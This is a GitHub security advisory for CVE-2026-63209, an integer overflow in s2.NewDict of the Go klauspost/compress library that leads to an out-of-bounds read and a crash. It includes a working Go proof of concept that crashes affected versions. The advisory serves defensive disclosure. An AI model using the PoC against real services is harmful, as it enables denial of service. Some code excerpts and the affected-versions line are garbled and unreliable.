GitHub Advisoryadvisory · Go
GHSA-259r-337f-4rfw Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress
HIGH
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- Aliases
- CVE-2026-63209
- Ecosystem
- Go
- Packages
- github.com/klauspost/compress
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-190, CWE-787
- Reviewed
- 2026-10-20
Affected packages
• Go github.com/klauspost/compress: < 1.18.7 → fixed in 1.18.7
Description
Signed Integer Overflow in s2.NewDict
Summary
A signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.
Package
• Name: `github.com/klauspost/compress/s2`
• Ecosystem: Go
• Affected versions: len(dict) {
return nil
}
```
When `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.
When `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`:
```go
repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate) // OOB via unsafe.Pointer
```
`load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking:
```go
func Load32I Indexer uint32 {
return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}
```
This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.
PoC
```go
package main
import (
"encoding/binary"
"fmt"
"github.com/klauspost/compress/s2"
)
func main() {
var dictData []byte
buf := make([]byte, binary.MaxVarintLen64)
n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
dictData = append(dictData, buf[:n]...)
dictData = append(dictData, make([]byte, 16)...) // minimum dict size
dict := s2.NewDict(dictData)
// dict is non-nil despite invalid repeat value (overflow bypassed validation)
src := make([]byte, 64)
for i := range src { src[i] = byte(i) }
dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}
```
Impact
• Denial of Service: The process crashes immediately with SIGSEGV
Attack Vector
Any application that:
1. Accepts user-supplied S2 dictionary data via `s2.NewDict()`
2. Calls `Dict.Encode()` on any data ≥32 bytes
Suggested Fix
Validate the uvarint value before converting to int:
```go
if r > math.MaxInt64 {
return nil
}
d.repeat = int(r)
```
Or use `uint` for the repeat field and validate against `uint(len(dict))`.
References
• Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site)
• Commit: 539243b (v1.18.6 + 4 commits)
Credits
Christopher Linke / https://github.com/celinke97/
Related
Alias · CVE (1)
- CVE-2026-63209 compress provides various compression algorithms. vulnerability
References
- https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw web
- https://nvd.nist.gov/vuln/detail/CVE-2026-63209 advisory
- https://github.com/klauspost/compress/pull/1163 web
- https://github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536 web
- https://github.com/klauspost/compress/commit/8668e357e776d5152ed62f33c17f21b8690664fa web
- https://github.com/klauspost/compress package
- https://github.com/klauspost/compress/releases/tag/v1.18.7 web